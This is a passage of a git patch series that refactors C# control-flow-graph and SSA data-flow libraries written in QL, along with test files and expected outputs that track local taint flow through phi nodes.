first(this.getExpr(), succ) and c instanceof SimpleCompletion or // Flow from last element of non-`case` statement `i` to first element of statement `i+1` @@ -1100,27 +1060,23 @@ module Statements { c instanceof FalseCompletion or // Case pattern exits with a non-match - last(pattern, last, c) and + last(this.getPattern(), last, c) and not c.(MatchingCompletion).isMatch() or // Case body exits with any completion - last(body, last, c) + last(this.getBody(), last, c) } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { CaseTree.super.succ(pred, succ, c) or pred = this and - first(pattern, succ) and + first(this.getPattern(), succ) and c instanceof SimpleCompletion } } abstract private class LoopStmtTree extends PreOrderTree, LoopStmt { - Stmt body; - - LoopStmtTree() { body = this.getBody() } - final override predicate propagatesAbnormal(ControlFlowElement child) { child = this.getCondition() } @@ -1131,10 +1087,10 @@ module Statements { c instanceof FalseCompletion or // Body exits with a break completion - last(body, last, c.(NestedBreakCompletion).getAnInnerCompatibleCompletion()) + last(this.getBody(), last, c.(NestedBreakCompletion).getAnInnerCompatibleCompletion()) or // Body exits with a completion that does not continue the loop - last(body, last, c) and + last(this.getBody(), last, c) and not c instanceof BreakCompletion and not c.continuesLoop() } @@ -1143,11 +1099,11 @@ module Statements { // Flow from last element of condition to first element of loop body last(this.getCondition(), pred, c) and c instanceof TrueCompletion and - first(body, succ) + first(this.getBody(), succ) or // Flow from last element of loop body back to first element of condition not this instanceof ForStmt and - last(body, pred, c) and + last(this.getBody(), pred, c) and c.continuesLoop() and first(this.getCondition(), succ) } @@ -1168,7 +1124,7 @@ module Statements { LoopStmtTree.super.succ(pred, succ, c) or pred = this and - first(body, succ) and + first(this.getBody(), succ) and c instanceof SimpleCompletion } } @@ -1179,7 +1135,7 @@ module Statements { result = this.getCondition() or not exists(this.getCondition()) and - result = body + result = this.getBody() } final override predicate succ(ControlFlowElement pred, ControlFlowElement succ, Completion c) { @@ -1214,11 +1170,11 @@ module Statements { // Flow from last element of condition into first element of loop body last(this.getCondition(), pred, c) and c instanceof TrueCompletion and - first(body, succ) + first(this.getBody(), succ) or // Flow from last element of loop body to first element of update/condition/self exists(ControlFlowElement next | - last(body, pred, c) and + last(this.getBody(), pred, c) and c.continuesLoop() and first(next, succ) and if exists(this.getUpdate(0)) @@ -1318,8 +1274,6 @@ module Statements { } class TryStmtTree extends PreOrderTree, TryStmt { - ControlFlowTree body; - final override predicate propagatesAbnormal(ControlFlowElement child) { child = this.getFinally() } From 221aebc833ea18d3ec8b8e710e31407e443a36fd Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 25 Jan 2021 13:53:01 +0100 Subject: [PATCH 0801/1241] C#: Fix bug in `AssignOperationWithExpandedAssignment::last` --- .../controlflow/internal/ControlFlowGraphImpl.qll | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll index 1d2405a7769..ebe4654d70c 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/ControlFlowGraphImpl.qll @@ -623,14 +623,13 @@ module Expressions { * tracking. */ private class AssignOperationWithExpandedAssignment extends AssignOperation, ControlFlowTree { - final override predicate first(ControlFlowElement first) { - first(this.getExpandedAssignment(), first) - } + private Expr expanded; - final override predicate last(ControlFlowElement last, Completion c) { - last = this.getExpandedAssignment() and - last(this.getExpandedAssignment(), last, c) - } + AssignOperationWithExpandedAssignment() { expanded = this.getExpandedAssignment() } + + final override predicate first(ControlFlowElement first) { first(expanded, first) } + + final override predicate last(ControlFlowElement last, Completion c) { last(expanded, last, c) } final override predicate propagatesAbnormal(ControlFlowElement child) { none() } From 38b0f743cb0a471c9d4435d632f9eb9da47c47ea Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 12 Jan 2021 10:06:12 +0100 Subject: [PATCH 0802/1241] C#: Add test that illustrates problem with flow through phi nodes --- .../dataflow/local/DataFlowStep.expected | 8 ++++++++ .../dataflow/local/LocalDataFlow.cs | 18 ++++++++++++++++++ .../dataflow/local/TaintTrackingStep.expected | 8 ++++++++ 3 files changed, 34 insertions(+) diff --git a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected index babc7501a22..bf87f4e4bad 100644 --- a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -414,6 +414,14 @@ | LocalDataFlow.cs:361:41:361:44 | args | LocalDataFlow.cs:363:29:363:32 | access to parameter args | | LocalDataFlow.cs:363:29:363:32 | [post] access to parameter args | LocalDataFlow.cs:364:27:364:30 | access to parameter args | | LocalDataFlow.cs:363:29:363:32 | access to parameter args | LocalDataFlow.cs:364:27:364:30 | access to parameter args | +| LocalDataFlow.cs:367:23:367:24 | b1 | LocalDataFlow.cs:371:13:371:14 | access to parameter b1 | +| LocalDataFlow.cs:367:32:367:33 | b2 | LocalDataFlow.cs:374:17:374:18 | access to parameter b2 | +| LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | +| LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | +| LocalDataFlow.cs:376:35:376:35 | access to local variable x | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | +| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S | | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access | | SSA.cs:5:26:5:32 | tainted | SSA.cs:8:24:8:30 | access to parameter tainted | diff --git a/csharp/ql/test/library-tests/dataflow/local/LocalDataFlow.cs b/csharp/ql/test/library-tests/dataflow/local/LocalDataFlow.cs index a5a1e34178f..900a2161715 100644 --- a/csharp/ql/test/library-tests/dataflow/local/LocalDataFlow.cs +++ b/csharp/ql/test/library-tests/dataflow/local/LocalDataFlow.cs @@ -363,4 +363,22 @@ public class LocalDataFlow Span<object> span = args; // flow (library operator) LocalDataFlow x = args; // no flow (source code operator) } + + void PhiFlow(bool b1, bool b2) + { + var x = ""; + + if (b1) + { + x = "tainted"; + if (b2) + { + Console.WriteLine(x); + return; + } + } + else + x = "not tainted"; + Check(x); + } } diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected index 2435c1a30f7..8c3e3a4d9c9 100644 --- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected @@ -524,6 +524,14 @@ | LocalDataFlow.cs:363:29:363:32 | [post] access to parameter args | LocalDataFlow.cs:364:27:364:30 | access to parameter args | | LocalDataFlow.cs:363:29:363:32 | access to parameter args | LocalDataFlow.cs:363:29:363:32 | call to operator implicit conversion | | LocalDataFlow.cs:363:29:363:32 | access to parameter args | LocalDataFlow.cs:364:27:364:30 | access to parameter args | +| LocalDataFlow.cs:367:23:367:24 | b1 | LocalDataFlow.cs:371:13:371:14 | access to parameter b1 | +| LocalDataFlow.cs:367:32:367:33 | b2 | LocalDataFlow.cs:374:17:374:18 | access to parameter b2 | +| LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | +| LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | +| LocalDataFlow.cs:376:35:376:35 | access to local variable x | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | +| LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | +| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S | | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access | | SSA.cs:5:26:5:32 | tainted | SSA.cs:8:24:8:30 | access to parameter tainted | From 6ffeaf8c2a0ee0f462ae6ec65c5034232abb3136 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 12 Jan 2021 11:00:03 +0100 Subject: [PATCH 0803/1241] C#: Adjust flow into phi nodes --- .../dataflow/internal/DataFlowPrivate.qll | 21 ++++---- .../code/csharp/dataflow/internal/SsaImpl.qll | 34 +++++++++---- .../dataflow/internal/SsaImplCommon.qll | 48 ++++++++++++------- .../dataflow/local/DataFlowStep.expected | 4 +- .../dataflow/local/TaintTrackingStep.expected | 4 +- 5 files changed, 70 insertions(+), 41 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index 6e30f8c50fa..fb5b2d86471 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -266,16 +266,15 @@ module LocalFlow { } /** - * Holds if `nodeFrom` is a last node referencing SSA definition `def`. - * Either an SSA definition node for `def` when there is no read of `def`, - * or a last read of `def`. + * Holds if `nodeFrom` is a last node referencing SSA definition `def`, which + * can reach `next`. */ - private predicate localFlowSsaInput(Node nodeFrom, Ssa::Definition def) { - def = nodeFrom.(SsaDefinitionNode).getDefinition() and - not exists(def.getARead()) - or - exists(AssignableRead read, ControlFlow::Node cfn | read = nodeFrom.asExprAtNode(cfn) | - def.getALastReadAtNode(cfn) = read + private predicate localFlowSsaInput(Node nodeFrom, Ssa::Definition def, Ssa::Definition next) { + exists(ControlFlow::BasicBlock bb, int i | SsaImpl::lastRefBeforeRedef(def, bb, i, next) | + def = nodeFrom.(SsaDefinitionNode).getDefinition() and + def.definesAt(_, bb, i) + or + nodeFrom.asExprAtNode(bb.getNode(i)) instanceof AssignableRead ) } @@ -302,14 +301,14 @@ module LocalFlow { or // Flow into phi node exists(Ssa::PhiNode phi | - localFlowSsaInput(nodeFrom, def) and + localFlowSsaInput(nodeFrom, def, phi) and phi = nodeTo.(SsaDefinitionNode).getDefinition() and def = phi.getAnInput() ) or // Flow into uncertain SSA definition exists(LocalFlow::UncertainExplicitSsaDefinition uncertain | - localFlowSsaInput(nodeFrom, def) and + localFlowSsaInput(nodeFrom, def, uncertain) and uncertain = nodeTo.(SsaDefinitionNode).getDefinition() and def = uncertain.getPriorDefinition() ) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll index 47a3c84263b..bb799d43c5b 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -6,7 +6,7 @@ import csharp import SsaImplCommon /** A classification of variable reads. */ -newtype TReadKind = +private newtype TReadKind = /** An actual read. */ ActualRead() or /** @@ -49,7 +49,7 @@ newtype TReadKind = RefReadBeforeWrite() /** A classification of variable reads. */ -class ReadKind extends TReadKind { +private class ReadKind extends TReadKind { string toString() { this = ActualRead() and result = "ActualRead" @@ -199,7 +199,7 @@ private module SourceVariableImpl { rk = RefReadBeforeWrite() } - private predicate outRefExitRead(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { + predicate outRefExitRead(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { exists(ControlFlow::Nodes::AnnotatedExitNode exit | exit.isNormal() and exists(LocalScopeVariable lsv | @@ -1130,7 +1130,6 @@ private module Cached { ) { exists(Ssa::Definition def0, ControlFlow::BasicBlock bb, int i | def = def0.getAnUltimateDefinition() and - lastRef(def0, bb, i) and capturedReadOut(bb, i, def0.getSourceVariable(), cdef.getSourceVariable(), cdef.getCall(), additionalCalls) ) @@ -1199,12 +1198,28 @@ private module Cached { variableRead(bb2, i2, _, any(ReadKind rk | rk.isPseudo())) } + private predicate reachesLastRefRedef( + Definition def, ControlFlow::BasicBlock bb, int i, Definition next + ) { + lastRefRedef(def, bb, i, next) + or + exists(ControlFlow::BasicBlock bb0, int i0 | + reachesLastRefRedef(def, bb0, i0, next) and + adjacentDefPseudoRead(def, bb, i, bb0, i0) + ) + } + + cached + predicate lastRefBeforeRedef(Definition def, ControlFlow::BasicBlock bb, int i, Definition next) { + reachesLastRefRedef(def, bb, i, next) and + not variableRead(bb, i, def.getSourceVariable(), any(ReadKind rk | rk.isPseudo())) + } + private predicate reachesLastRef(Definition def, ControlFlow::BasicBlock bb, int i) { lastRef(def, bb, i) or exists(ControlFlow::BasicBlock bb0, int i0 | reachesLastRef(def, bb0, i0) and - variableRead(bb0, i0, _, any(ReadKind rk | rk.isPseudo())) and adjacentDefPseudoRead(def, bb, i, bb0, i0) ) } @@ -1221,11 +1236,12 @@ private module Cached { cached predicate isLiveOutRefParameterDefinition(Ssa::Definition def, Parameter p) { p.isOutOrRef() and - exists(Ssa::Definition def0, ControlFlow::BasicBlock bb, int i | + exists(Ssa::SourceVariable v, Ssa::Definition def0, ControlFlow::BasicBlock bb, int i | + v = def.getSourceVariable() and + p = v.getAssignable() and def = def0.getAnUltimateDefinition() and - reachesLastRef(def0, bb, i) and - variableRead(bb, i, def0.getSourceVariable(), OutRefExitRead()) and - p = def0.getSourceVariable().getAssignable() + ssaDefReachesRead(_, def0, bb, i) and + outRefExitRead(bb, i, v) ) } } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll index a3c3417f0aa..8bfef0053ac 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -440,6 +440,28 @@ private module Cached { defAdjacentRead(def, bb1, bb2, i2) } + /** + * Holds if the node at index `i` in `bb` is a last reference to SSA definition + * `def`. The reference is last because it can reach another write `next`, + * without passing through another read or write. + */ + cached + predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { + exists(int rnk, SourceVariable v, int j | rnk = ssaDefRank(def, v, bb, i, _) | + // Next reference to `v` inside `bb` is a write + next.definesAt(v, bb, j) and + rnk + 1 = ssaRefRank(bb, j, v, SsaDef()) + or + // Can reach a write using one or more steps + rnk = maxSsaRefRank(bb, v) and + exists(BasicBlock bb2 | + varBlockReaches(def, bb, bb2) and + next.definesAt(v, bb2, j) and + 1 = ssaRefRank(bb2, j, v, SsaDef()) + ) + ) + } + /** * Holds if the node at index `i` in `bb` is a last reference to SSA * definition `def`. @@ -450,24 +472,16 @@ private module Cached { */ cached predicate lastRef(Definition def, BasicBlock bb, int i) { - exists(int rnk, SourceVariable v | rnk = ssaDefRank(def, v, bb, i, _) | - // Next reference to `v` inside `bb` is a write - rnk + 1 = ssaRefRank(bb, _, v, SsaDef()) + lastRefRedef(def, bb, i, _) + or + exists(SourceVariable v | ssaDefRank(def, v, bb, i, _) = maxSsaRefRank(bb, v) | + // Can reach exit directly + bb instanceof ExitBasicBlock or - // No more references to `v` inside `bb` - rnk = maxSsaRefRank(bb, v) and - ( - // Can reach exit directly - bb instanceof ExitBasicBlock - or - exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | - // Can reach a write using one or more steps - 1 = ssaRefRank(bb2, _, def.getSourceVariable(), SsaDef()) - or - // Can reach a block using one or more steps, where `def` is no longer live - not defOccursInBlock(def, bb2, _) and - not ssaDefReachesEndOfBlock(bb2, def, _) - ) + // Can reach a block using one or more steps, where `def` is no longer live + exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | + not defOccursInBlock(def, bb2, _) and + not ssaDefReachesEndOfBlock(bb2, def, _) ) ) } diff --git a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected index bf87f4e4bad..e6c0dd9beda 100644 --- a/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -417,8 +417,8 @@ | LocalDataFlow.cs:367:23:367:24 | b1 | LocalDataFlow.cs:371:13:371:14 | access to parameter b1 | | LocalDataFlow.cs:367:32:367:33 | b2 | LocalDataFlow.cs:374:17:374:18 | access to parameter b2 | | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | +| LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | -| LocalDataFlow.cs:376:35:376:35 | access to local variable x | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | @@ -702,7 +702,6 @@ | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:154:13:154:13 | (...) ... | | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:155:25:155:25 | access to parameter t | | SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:152:17:152:28 | SSA phi(t) | -| SSA.cs:155:25:155:25 | access to parameter t | SSA.cs:152:17:152:28 | SSA phi(t) | | SSA.cs:166:10:166:13 | this | SSA.cs:166:19:166:22 | this access | | SSA.cs:168:22:168:28 | tainted | SSA.cs:173:24:173:30 | access to parameter tainted | | SSA.cs:168:35:168:35 | i | SSA.cs:171:13:171:13 | access to parameter i | @@ -710,6 +709,7 @@ | SSA.cs:170:27:170:28 | "" | SSA.cs:170:16:170:28 | SSA def(ssaSink5) | | SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:20:174:20 | SSA phi(i) | | SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | +| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | | SSA.cs:173:24:173:30 | access to parameter tainted | SSA.cs:173:13:173:30 | SSA def(ssaSink5) | | SSA.cs:174:20:174:20 | SSA phi(i) | SSA.cs:174:20:174:20 | access to parameter i | | SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:174:20:174:20 | SSA phi(i) | diff --git a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected index 8c3e3a4d9c9..37e5fee2dc9 100644 --- a/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected +++ b/csharp/ql/test/library-tests/dataflow/local/TaintTrackingStep.expected @@ -527,8 +527,8 @@ | LocalDataFlow.cs:367:23:367:24 | b1 | LocalDataFlow.cs:371:13:371:14 | access to parameter b1 | | LocalDataFlow.cs:367:32:367:33 | b2 | LocalDataFlow.cs:374:17:374:18 | access to parameter b2 | | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:376:35:376:35 | access to local variable x | +| LocalDataFlow.cs:373:13:373:25 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:373:17:373:25 | "tainted" | LocalDataFlow.cs:373:13:373:25 | SSA def(x) | -| LocalDataFlow.cs:376:35:376:35 | access to local variable x | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:29 | SSA def(x) | | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x | @@ -828,7 +828,6 @@ | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:154:13:154:13 | (...) ... | | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:155:25:155:25 | access to parameter t | | SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:152:17:152:28 | SSA phi(t) | -| SSA.cs:155:25:155:25 | access to parameter t | SSA.cs:152:17:152:28 | SSA phi(t) | | SSA.cs:166:10:166:13 | this | SSA.cs:166:19:166:22 | this access | | SSA.cs:168:22:168:28 | tainted | SSA.cs:173:24:173:30 | access to parameter tainted | | SSA.cs:168:35:168:35 | i | SSA.cs:171:13:171:13 | access to parameter i | @@ -837,6 +836,7 @@ | SSA.cs:171:13:171:15 | ...-- | SSA.cs:171:13:171:19 | ... > ... | | SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:20:174:20 | SSA phi(i) | | SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | +| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | | SSA.cs:173:24:173:30 | access to parameter tainted | SSA.cs:173:13:173:30 | SSA def(ssaSink5) | | SSA.cs:174:20:174:20 | SSA phi(i) | SSA.cs:174:20:174:20 | access to parameter i | | SSA.cs:174:20:174:22 | ...-- | SSA.cs:174:20:174:26 | ... > ... | From 7c9a6064cff861bc0bf45e8b2316fb3551a250f6 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 25 Jan 2021 16:20:14 +0100 Subject: [PATCH 0804/1241] C#: Get rid of `ReadKind` --- .../src/semmle/code/csharp/dataflow/SSA.qll | 4 +- .../code/csharp/dataflow/internal/SsaImpl.qll | 149 +++++++----------- .../dataflow/internal/SsaImplSpecific.qll | 4 +- 3 files changed, 57 insertions(+), 100 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 7fe19636f58..c3e645205de 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -235,9 +235,9 @@ module Ssa { final AssignableRead getAReadAtNode(ControlFlow::Node cfn) { exists(SourceVariable v, ControlFlow::BasicBlock bb, int i | SsaImpl::ssaDefReachesRead(v, this, bb, i) and + SsaImpl::variableReadActual(bb, i, v) and cfn = bb.getNode(i) and - cfn = result.getAControlFlowNode() and - result = v.getAnAccess().(AssignableRead) + result.getAControlFlowNode() = cfn ) } diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll index bb799d43c5b..3014e33a63b 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -5,70 +5,11 @@ import csharp import SsaImplCommon -/** A classification of variable reads. */ -private newtype TReadKind = - /** An actual read. */ - ActualRead() or - /** - * A pseudo read for a `ref` or `out` variable at the end of the variable's enclosing - * callable. A pseudo read is inserted to make assignments to `out`/`ref` variables - * live, for example line 1 in - * - * ```csharp - * void M(out int i) { - * i = 0; - * } - * ``` - */ - OutRefExitRead() or - /** - * A pseudo read for a captured variable at the end of the capturing - * callable. A write to a captured variable needs to be live for the same reasons - * as a write to a `ref` or `out` variable (see above). - */ - CapturedVarExitRead() or - /** - * A pseudo read for a captured variable via a call. - */ - CapturedVarCallRead() or - /** - * A pseudo read for a `ref` variable, just prior to an update of the referenced value. - * A pseudo read is inserted to make assignments to the `ref` variable live, for example - * line 2 in - * - * ```csharp - * void M() { - * ref int i = ref GetRef(); - * i = 0; - * } - * ``` - * - * The pseudo read is inserted at the CFG node `i` on the left-hand side of the - * assignment on line 3. - */ - RefReadBeforeWrite() - -/** A classification of variable reads. */ -private class ReadKind extends TReadKind { - string toString() { - this = ActualRead() and - result = "ActualRead" - or - this = OutRefExitRead() and - result = "OutRefExitRead" - or - this = CapturedVarExitRead() and - result = "CapturedVarExitRead" - or - this = CapturedVarCallRead() and - result = "CapturedVarCallRead" - or - this = RefReadBeforeWrite() and - result = "RefReadBeforeWrite" - } - - /** Holds if this kind represents a pseudo read. */ - predicate isPseudo() { this != ActualRead() } +/** + * Holds if the `i`th node of basic block `bb` reads source variable `v`. + */ +predicate variableReadActual(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v) { + v.getAnAccess().(AssignableRead) = bb.getNode(i).getElement() } private module SourceVariableImpl { @@ -183,22 +124,16 @@ private module SourceVariableImpl { } /** - * Holds if the `i`th node of basic block `bb` reads source variable `v`. - * The read is of kind `rk`. + * Holds if a pseudo read for `ref` or `out` variable `v` happens at index `i` + * in basic block `bb`. A pseudo read is inserted to make assignments to + * `out`/`ref` variables live, for example line 1 in * - * This excludes implicit reads via calls. + * ```csharp + * void M(out int i) { + * i = 0; + * } + * ``` */ - predicate variableReadDirect(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, ReadKind rk) { - v.getAnAccess().(AssignableRead) = bb.getNode(i).getElement() and - rk = ActualRead() - or - outRefExitRead(bb, i, v) and - rk = OutRefExitRead() - or - refReadBeforeWrite(bb, i, v) and - rk = RefReadBeforeWrite() - } - predicate outRefExitRead(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { exists(ControlFlow::Nodes::AnnotatedExitNode exit | exit.isNormal() and @@ -215,7 +150,23 @@ private module SourceVariableImpl { ) } - private predicate refReadBeforeWrite(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { + /** + * Holds if a pseudo read for `ref` variable `v` happens at index `i` in basic + * block `bb`, just prior to an update of the referenced value. A pseudo read + * is inserted to make assignments to the `ref` variable live, for example + * line 2 in + * + * ```csharp + * void M() { + * ref int i = ref GetRef(); + * i = 0; + * } + * ``` + * + * The pseudo read is inserted at the CFG node `i` on the left-hand side of the + * assignment on line 3. + */ + predicate refReadBeforeWrite(ControlFlow::BasicBlock bb, int i, LocalScopeSourceVariable v) { exists(AssignableDefinitions::AssignmentDefinition def, LocalVariable lv | def.getTarget() = lv and lv.isRef() and @@ -812,10 +763,13 @@ private module CapturedVariableLivenessImpl { */ private predicate capturerReads(Callable c, LocalScopeVariable v) { exists(LocalScopeSourceVariable sv | - variableReadDirect(_, _, sv, _) and c = sv.getEnclosingCallable() and v = sv.getAssignable() and v.getCallable() != c + | + variableReadActual(_, _, sv) + or + refReadBeforeWrite(_, _, sv) ) } @@ -985,20 +939,25 @@ private module CapturedVariableLivenessImpl { private import CapturedVariableLivenessImpl +private predicate variableReadPseudo(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v) { + outRefExitRead(bb, i, v) + or + refReadBeforeWrite(bb, i, v) + or + capturedReadOut(bb, i, v, _, _, _) + or + capturedReadIn(bb, i, v, _, _, _) +} + /** * Holds if the `i`th of basic block `bb` reads source variable `v`. - * The read is of kind `rk`. * * This includes implicit reads via calls. */ -predicate variableRead(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v, ReadKind rk) { - variableReadDirect(bb, i, v, rk) +predicate variableRead(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v) { + variableReadActual(bb, i, v) or - capturedReadOut(bb, i, v, _, _, _) and - rk = CapturedVarExitRead() - or - capturedReadIn(bb, i, v, _, _, _) and - rk = CapturedVarCallRead() + variableReadPseudo(bb, i, v) } cached @@ -1119,7 +1078,7 @@ private module Cached { capturedReadIn(_, _, v, edef.getSourceVariable(), c, additionalCalls) and def = def0.getAnUltimateDefinition() and ssaDefReachesRead(_, def0, bb, i) and - variableRead(bb, i, v, CapturedVarCallRead()) and + capturedReadIn(bb, i, v, _, _, _) and c = bb.getNode(i) ) } @@ -1150,7 +1109,7 @@ private module Cached { or exists(ControlFlow::BasicBlock bb3, int i3 | adjacentDefReaches(def, bb1, i1, bb3, i3) and - variableRead(bb3, i3, _, any(ReadKind rk | rk.isPseudo())) and + variableReadPseudo(bb3, i3, _) and adjacentDefRead(def, bb3, i3, bb2, i2) ) } @@ -1160,7 +1119,7 @@ private module Cached { Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 ) { adjacentDefReaches(def, bb1, i1, bb2, i2) and - variableRead(bb2, i2, _, ActualRead()) + variableReadActual(bb2, i2, _) } /** @@ -1185,7 +1144,7 @@ private module Cached { predicate adjacentReadPairSameVar(Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2) { exists(ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 | cfn1 = bb1.getNode(i1) and - variableRead(bb1, i1, _, ActualRead()) and + variableReadActual(bb1, i1, _) and adjacentDefActualRead(def, bb1, i1, bb2, i2) and cfn2 